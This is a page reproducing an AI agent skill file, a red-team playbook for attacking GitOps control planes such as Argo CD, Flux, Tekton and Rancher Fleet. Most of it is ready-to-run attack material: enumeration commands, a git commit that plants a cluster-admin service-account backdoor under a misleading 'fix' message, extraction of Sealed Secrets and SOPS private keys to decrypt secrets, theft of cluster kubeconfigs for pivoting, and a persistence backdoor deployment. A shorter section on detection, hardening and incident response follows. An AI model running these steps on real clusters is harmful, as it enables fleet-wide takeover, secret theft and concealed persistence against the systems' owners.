Gitops security

From brucesongs/kali-claw · View interactive version

Gitops security is an AI agent skill from the GitHub repository brucesongs/kali-claw. Attacks against GitOps control planes (Argo CD, FluxCD, Jenkins X, Tekton, Fleet, Rancher) — repo impersonation, manifest tampering, RBAC bypass, sync-wave abuse, secret management compromise (Sealed Secrets / SOPS / External Secrets / Vault), cluster privilege escalation via Application/CRDs, and p

How to use this skill

Skill file

GitOps Security Attack Skill

Red-team operations against GitOps control planes — the declarative CD layer that owns entire Kubernetes fleets. While adjacent skills cover the CI build side (ci-cd-supply-chain-attack) or container runtime (container-security), gitops-security targets the runtime reconciliation loop: the control plane that watches a Git source of truth and continuously reconciles thousands of clusters to that state. Compromise here = silent fleet-wide backdoor.

Summary

GitOps (Argo CD, FluxCD, Jenkins X, Tekton, Fleet, Argo Rollouts, Flux Helm Controller, Argo Image Updater) is the dominant Kubernetes continuous-deployment pattern of 2024-2026. The control plane holds:

A single GitOps compromise typically yields multi-cluster cluster-admin. This skill covers the full attack chain — recon against the control plane, repo impersonation, manifest tampering at every stage (commit → hook → render → apply → sync), RBAC bypass in CRD admission, secret-store compromise, and persistence via CRD backdoors that survive cluster rebuilds.

Distinct from adjacent skills:

| Skill | Scope |

|-------|-------|

| ci-cd-supply-chain-attack | Build-time attacks (GitHub Actions, Jenkins build, dependency confusion, SBOM poisoning) |

| container-security | Container runtime, image layers, escape from inside a pod |

| cloud-identity-attack | Cloud IAM (AWS IAM, Azure AD, GCP IAM) — GitOps is downstream |

| gitops-security (this) | Runtime reconciliation plane: Argo CD Application CRDs, Flux Kustomization/HelmRelease, sync waves, secret stores, multi-cluster fleet orchestration |

Use Cases

Reconnaissance & Discovery

  1. Identify GitOps controller from outside — fingerprint via API endpoints, well-known paths, response headers
  2. Enumerate Applications / Kustomizations / HelmReleases in-cluster via CRD discovery
  3. Map source-of-truth repos — recover repo URLs, deploy keys, branch names, sync policies
  4. Discover secret management stack — Sealed Secrets / SOPS / External Secrets / Vault — and locate private keys / tokens
  5. Enumerate RBAC across ApplicationSet, Kustomization, AppProject controllers
  6. Detect multi-cluster registries — Argo CD ApplicationSet cluster list, FluxCluster gateway, Rancher Fleet cluster groups

Initial Access

  1. Public Argo CD / Flux dashboard exposure with default credentials or unauthenticated API
  2. Repo impersonation via leaked deploy SSH key or PAT (write-access to source-of-truth repo = fleet compromise)
  3. Helm chart tampering — malicious chart pulled by HelmRelease from a public registry
  4. Kustomize remote base attack — kustomization.yaml pulling from attacker-controlled GitHub raw
  5. CI artifact injection — Argo CD Image Updater polling a poisoned tag
  6. Webhook replay / signature bypass — Git provider → Argo CD / Flux webhook endpoint

Privilege Escalation

  1. Argo CD cluster RBAC escape — ApplicationSet Git generator → arbitrary cluster-admin apply
  2. Argo Rollouts CRD abuse — AnalysisTemplate → external metric call → cluster credential exfil
  3. Flux HelmRelease valuesKey injection — valuesKey: ../../etc/passwd style path traversal
  4. Tekton Pipeline privileged task — securityContext: privileged: true via PR
  5. Argo CD AppProject sync-window bypass — race between sync and window change
  6. Rancher Fleet Bundle cluster-group escalation — defaultServiceAccount injection
  7. Sealed Secrets private-key recovery — kubeseal --recover from a compromised controller pod
  8. SOPS AGE/GPG private-key theft — mounted as age.agekey secret

Persistence

  1. CRD-level backdoor — custom resource that materializes a privileged ServiceAccount on every cluster
  2. Helm post-render hook — post-install job that re-creates backdoor if deleted
  3. Argo CD PreSync hook — runs before every sync, maintains cluster-admin rolebinding
  4. Flux dependsOn cycle — recursive Kustomization that re-applies attacker manifests
  5. Sync-wave wave: -100 injection — runs before legitimate manifests

Defense Evasion

  1. Self-healing as cover — Argo CD auto-sync deletes incident-response changes ("why does my pod keep coming back?")
  2. Argo CD operationState manipulation — fake successful sync to hide failed malicious manifest
  3. Flux Kustomization healthCheck blind spot — hide unhealthy workload behind prune: false
  4. Tekton Results tampering — modify TaskRun.status after pipeline runs
  5. Audit log suppression via kubectl --as=system:anonymous user impersonation

Collection & Exfiltration

  1. Cluster-wide secret dump via ApplicationSet cluster-scoped sync
  2. Git source-of-truth full clone via recovered deploy key
  3. Cross-cluster lateral — Fleet cluster-group → all downstream clusters
  4. Helm values secret extraction — HelmRelease valuesFrom secret ref
  5. Vault KV dump via External Secrets Operator → Vault role

Core Tools

GitOps Controllers (Targets)

| Tool | Vendor / Project | Role |

|------|------------------|------|

| Argo CD | CNCF Graduated | Pull-based GitOps, Application CRD, AppProject, ApplicationSet |

| Argo Rollouts | CNCF Incubating | Progressive delivery, AnalysisTemplate |

| Argo Image Updater | Argo Project | Automated image tag bumps |

| FluxCD (v2) | CNCF Graduated | Push-based GitOps, Kustomization/HelmRelease/Source |

| FluxCD Notifications | Flux Project | Webhook + Slack/PagerDuty events |

| Jenkins X | CloudBees | GitOps + LTS Jenkins on top |

| Tekton | CD Foundation | Pipeline / Task / Trigger CRDs |

| Rancher Fleet | SUSE | Multi-cluster fleet GitOps |

| Carvel ytt / kapp | VMware | Templating + apply (often behind kapp-controller) |

| kapp-controller | Carvel | PackageRepository CRD |

Secret Stores (Targets)

| Tool | Purpose | Compromise Value |

|------|---------|------------------|

| Sealed Secrets (Bitnami) | Asymmetric-encrypted-in-Git secrets | Private key = decrypt every sealed secret in Git history |

| SOPS (Mozilla / getsops) | AGE / GPG / cloud KMS encrypted YAML | Private key (or KMS grant) = decrypt all SOPS files |

| External Secrets Operator | Sync from Vault / AWS SM / GCP SM / Azure KV | Token / role = full secret-store access |

| HashiCorp Vault | Centralized secrets with dynamic leases | Root token / privileged role = full compromise |

| Cloud KMS / KMSabuse | Cloud-hosted key wrapping | KMS decrypt permission = unwrap all secrets |

| CSI Secrets Store | Pod-mounted secrets via kubelet | Driver pod compromise = hostPath of secrets |

Offensive Toolkit

# Cluster enum
kubectl api-resources --verbs=list -o name | xargs -n1 kubectl get -o name
kubectl get applications -A -o yaml          # Argo CD
kubectl get applicationsets -A -o yaml
kubectl get kustomizations -A -o yaml        # Flux
kubectl get helmreleases -A -o yaml
kubectl get gitrepositories -A -o yaml
kubectl get bundles -A -o yaml               # Fleet
kubectl get clustergroups -A -o yaml
kubectl get pipelines -A -o yaml             # Tekton

# Secret recovery
kubectl get secrets -A | grep -iE '(sealed|sops|age|vault|external)'
kubectl exec -n argocd argocd-server-xxx -- cat /app/config/argocd-cm-cm.yaml
kubectl get secret -n kube-system sealed-secrets-key -o yaml
kubectl get clustersecretstore -A -o yaml    # External Secrets

# Argo CD API
curl -sk https://argocd.example.com/api/v1/applications -H "Authorization: $ARGO_TOKEN"
argocd account get-user-info --server argocd.example.com --auth-token "$ARGO_TOKEN"
argocd app list --server argocd.example.com --auth-token "$ARGO_TOKEN"
argocd proj role get-default --server argocd.example.com

# Flux API (via kubectl proxy)
kubectl proxy --port=8001 &
curl -s http://localhost:8001/api/v1/namespaces/flux-system/services/http:notification-controller:80/http:/

# Helm reconciliation
flux logs --kind=HelmRelease -n flux-system --follow
flux get helmreleases -A
kubectl get events -n flux-system --field-selector reason=ReconciliationSucceeded

# Sealed Secrets recovery (controller access)
kubectl exec -n kube-system deploy/sealed-secrets-controller -- \
  /bin/sh -c 'cat /tmp/$(ls /tmp | grep -E "^sealed-secret.*key")'

# SOPS AGE key recovery
kubectl get secret -n flux-system sops-age -o yaml | yq -r '.data."age.agekey"' | base64 -d

Methodology

Phase 1 — Reconnaissance (External + Internal)

Identify the GitOps control plane, its version, RBAC model, and source-of-truth repos. From outside: fingerprint via /api/v1/, /-/healthy, default ports (2746 Argo, 9000-9090 Flux webhook). From inside a pod: enumerate CRDs (kubectl api-resources), find the controller namespace (kube-system, argocd, flux-system, fleet-system, tekton-pipelines).

Goal: produce a target map listing every Application / Kustomization / HelmRelease with its source repo, destination cluster, and sync policy.

Phase 2 — Source-of-Truth Compromise

The Git repo is the single source of truth — write access = fleet compromise. Attack vectors:

  1. Leaked deploy SSH key / PAT — search GitHub code, gists, Shodan for argo-deploy, flux-deploy patterns
  2. Mis-scoped token — Git provider token with repo:write instead of repo:read
  3. Webhook subdomain takeover — webhook.example.com CNAME → expired Heroku / GitLab Pages
  4. Branch-protection bypass — force-push permission on HEAD branch
  5. PR reviewer exhaustion — typo-squat Kustomization PR to a busy reviewer

Goal: obtain write access to the source-of-truth repo, or compromise the GitOps controller's deploy-key secret in-cluster.

Phase 3 — Manifest Tampering (the kill chain)

Once you can mutate manifests, choose where along the chain:

| Stage | Technique | Detection surface |

|-------|-----------|-------------------|

| Git commit | Plausible-looking manifest in production/ | Git commit audit |

| pre-commit hook | Tamper before commit lands | Hard (Git hook = local) |

| Webhook payload | Forge Git provider event | Webhook signature validation |

| Source fetch | MitM Git fetch | SSHFP / known_hosts |

| Kustomize / Helm build | Remote base / chart tampering | Pipeline artifact lock |

| Render | valuesKey traversal, postRender injection | Render diff before apply |

| Apply | Custom resource → privileged SA | Admission webhook |

| Sync | PreSync hook → cluster-admin | Sync hook audit |

| Post-sync | Helm post-install hook → re-create backdoor | Hook audit |

Phase 4 — Privilege Escalation

If initial GitOps RBAC is limited (e.g., namespace-scoped), escalate via:

  1. ApplicationSet Git generator — template.cluster enumerates every cluster Argo knows
  2. Cluster-role aggregation — label a role to attach to system:authenticated
  3. HelmRelease valuesFrom — read arbitrary secrets in the cluster
  4. Tekton Pipeline privileged SCC — securityContext.privileged: true task
  5. AppProject sync-window race — sync outside window while window updates
  6. Sealed Secrets private-key recovery — kubeseal --recover from inside controller pod

Phase 5 — Persistence

Self-healing GitOps is a defender's dream until it's weaponized:

Phase 6 — Secret Store Compromise

Target the secret-management layer:

  1. Sealed Secrets: recover controller private key, decrypt any sealed secret offline
  2. SOPS: extract AGE/GPG private key from controller namespace, decrypt all SOPS files
  3. External Secrets: steal ClusterSecretStore credentials → upstream Vault/AWS SM
  4. Vault: token-grab from External Secrets Operator → escalate to root
  5. CSI Secrets Store: compromise driver pod → hostPath all kubelet secrets

Phase 7 — Multi-Cluster Pivot

Argo CD ApplicationSet and Rancher Fleet can deploy to thousands of clusters. Pivot:

  1. Enumerate cluster secrets in argocd namespace — each is a full kubeconfig
  2. Use Flux GitRepository secrets to read every cluster's deploy key
  3. Use Fleet Bundle to deploy a backdoor CRD across all cluster groups
  4. Use Argo ApplicationSet.cluster generator to deploy a cluster-scoped backdoor

Practical Steps

Step A — Fingerprint the GitOps stack (anonymous)

# Argo CD
curl -sk https://argocd.example.com/api/v1/version
# → {"Version":"v2.11.0+...", ...}

# Flux notification webhook (default port 9000-9090)
curl -sk https://flux.example.com/hook/ -X POST -d '{}' -H "X-Flux-Trigger: random"

# Rancher Fleet
curl -sk https://fleet.example.com/api/health

# Tekton dashboard
curl -sk https://tekton.example.com/apis/tekton.dev/v1/namespaces/tekton-pipelines/pipelines

Step B — Discover in-cluster GitOps (post-initial-access)

# List all GitOps CRDs
kubectl api-resources --api-group=argoproj.io
kubectl api-resources --api-group=fluxcd.io
kubectl api-resources --api-group=fleet.cattle.io
kubectl api-resources --api-group=tekton.dev

# Argo CD Applications with destination
kubectl get applications -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,DEST_NS:.spec.destination.namespace,DEST_CLUSTER:.spec.destination.server,REPO:.spec.source.repoURL,PATH:.spec.source.path

# Flux Kustomizations
kubectl get kustomizations -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,SOURCE:.spec.sourceRef.name,PATH:.spec.path,TARGET_NS:.spec.targetNamespace

# Flux HelmReleases
kubectl get helmreleases -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,CHART:.spec.chart.spec.chart,VERSION:.spec.chart.spec.version

Step C — Tamper manifests at the right stage

# 1. Direct Git commit (write access required)
git clone git@github.com:example/gitops-prod.git
cd gitops-prod
cat > production/backdoor.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: argo-default
  namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: argo-default-admin
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
  - kind: ServiceAccount
    name: argo-default
    namespace: kube-system
EOF
git add . && git commit -m "fix: align RBAC with new audit policy"
git push

# Wait for next Argo sync (typically < 3 min)
kubectl get rolebindings -n kube-system | grep cluster-admin

Step D — Recover Sealed Secrets private key

# Get the active private key secret
SEALED_KEY=$(kubectl get secret -n kube-system \
  -l sealedsecrets.bitnami.com/sealed-secret-key=active \
  -o name | head -1)

# Extract the private key
kubectl get $SEALED_KEY -n kube-system -o yaml | yq -r '.data."tls.key"' | base64 -d > sealed-private-key.pem
kubectl get $SEALED_KEY -n kube-system -o yaml | yq -r '.data."tls.crt"' | base64 -d > sealed-cert.pem

# Decrypt any sealed secret offline
kubectl get sealedsecret production-db -n prod -o yaml > prod-db.sealed.yaml
kubeseal --recovery-private-key sealed-private-key.pem \
  --recovery-cert sealed-cert.pem \
  < prod-db.sealed.yaml > prod-db.decrypted.yaml
cat prod-db.decrypted.yaml

Step E — Recover SOPS AGE key

# Locate the AGE key secret (often in flux-system)
kubectl get secret -n flux-system -o yaml | grep -E '(age|sops)' | head
kubectl get secret sops-age -n flux-system -o yaml | yq -r '.data."age.agekey"' | base64 -d > age.key
chmod 600 age.key
export SOPS_AGE_KEY_FILE=$PWD/age.key

# Decrypt any SOPS file
git clone git@github.com:example/gitops-prod.git
cd gitops-prod
sops --decrypt secrets/production.yaml

Step F — Pivot via ApplicationSet cluster list

# Enumerate clusters Argo knows about
kubectl get secret -n argocd -l argocd.argoproj.io/secret-type=cluster

# Each contains a kubeconfig with cluster-admin
kubectl get secret cluster-prod-us-east-1 -n argocd -o yaml | \
  yq -r '.data.config' | base64 -d > prod-us-east-1.kubeconfig

# Pivot
kubectl --kubeconfig=prod-us-east-1.kubeconfig get pods -A

Step G — Persistence via CRD backdoor

# backdoor-crd.yaml — survives cluster rebuilds
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
  name: backdoors.kali.claw
spec:
  group: kali.claw
  names:
    kind: Backdoor
    plural: backdoors
  scope: Namespaced
  versions:
    - name: v1
      served: true
      storage: true
      schema:
        openAPIV3Schema:
          type: object
          properties:
            spec:
              type: object
              properties:
                image:
                  type: string
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: backdoor-controller
  namespace: kube-system
spec:
  template:
    spec:
      serviceAccountName: argo-default  # already cluster-admin via Step C
      containers:
        - name: controller
          image: kali/claw-backdoor:latest

Defense Perspective

Detection (Blue Team)

Argo CD

Flux

Sealed Secrets

SOPS

External Secrets

Hardening

  1. Network — GitOps API not exposed publicly; webhook endpoint behind mTLS
  2. RBAC — GitOps ServiceAccount is cluster-admin only on deploy namespaces; use AppProject source namespaces restriction
  3. Image policy — all controller images from private registry with Cosign verification
  4. Source integrity — GPG-signed commits required; Argo CD gpgPublicKeySecret enforced
  5. Admission — OPA Gatekeeper / Kyverno policies rejecting privileged SCC, hostPath, hostNetwork
  6. Sync windows — manual sync only during approved windows; auto-sync disabled for production
  7. Secret stores — Sealed Secrets key scoped to namespaces; AGE key rotated quarterly; External Secrets short-lived tokens
  8. Audit — Audit log forwarded off-cluster (defender cannot tamper)
  9. Drift detection — argocd app diff cron against last-known-good Git HEAD
  10. Multi-cluster — fleet GitOps uses per-cluster RBAC, not cluster-admin everywhere

Incident Response

When GitOps compromise is suspected:

  1. Freeze Git — branch protection to read-only on source-of-truth
  2. Pause all controllers — kubectl scale deploy/argocd-application-controller --replicas=0 -n argocd; kubectl scale deploy/source-controller --replicas=0 -n flux-system
  3. Diff last 50 commits — git log --since='2 weeks ago' --pretty=format:'%h %an %s'
  4. Audit all CRDs — kubectl get applications,kustomizations,helmreleases,bundles -A → diff against git HEAD
  5. Rotate — deploy keys, AGE/Sealed keys, Vault tokens, External Secrets OAuth tokens
  6. Hunt — for CRD backdoors, post-render hooks, sync-wave wave: -100 manifests
  7. Restore — from last-known-good Git HEAD; force-resync; monitor reconciliation
  8. Post-mortem — full CRD audit, controller RBAC review, webhook signature policy

Detection Methods

GitOps Controller Audit

SIEM Detection Rules

Defense Evasion Techniques

GitOps Controller Compromise

Supply Chain Stealth

References

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.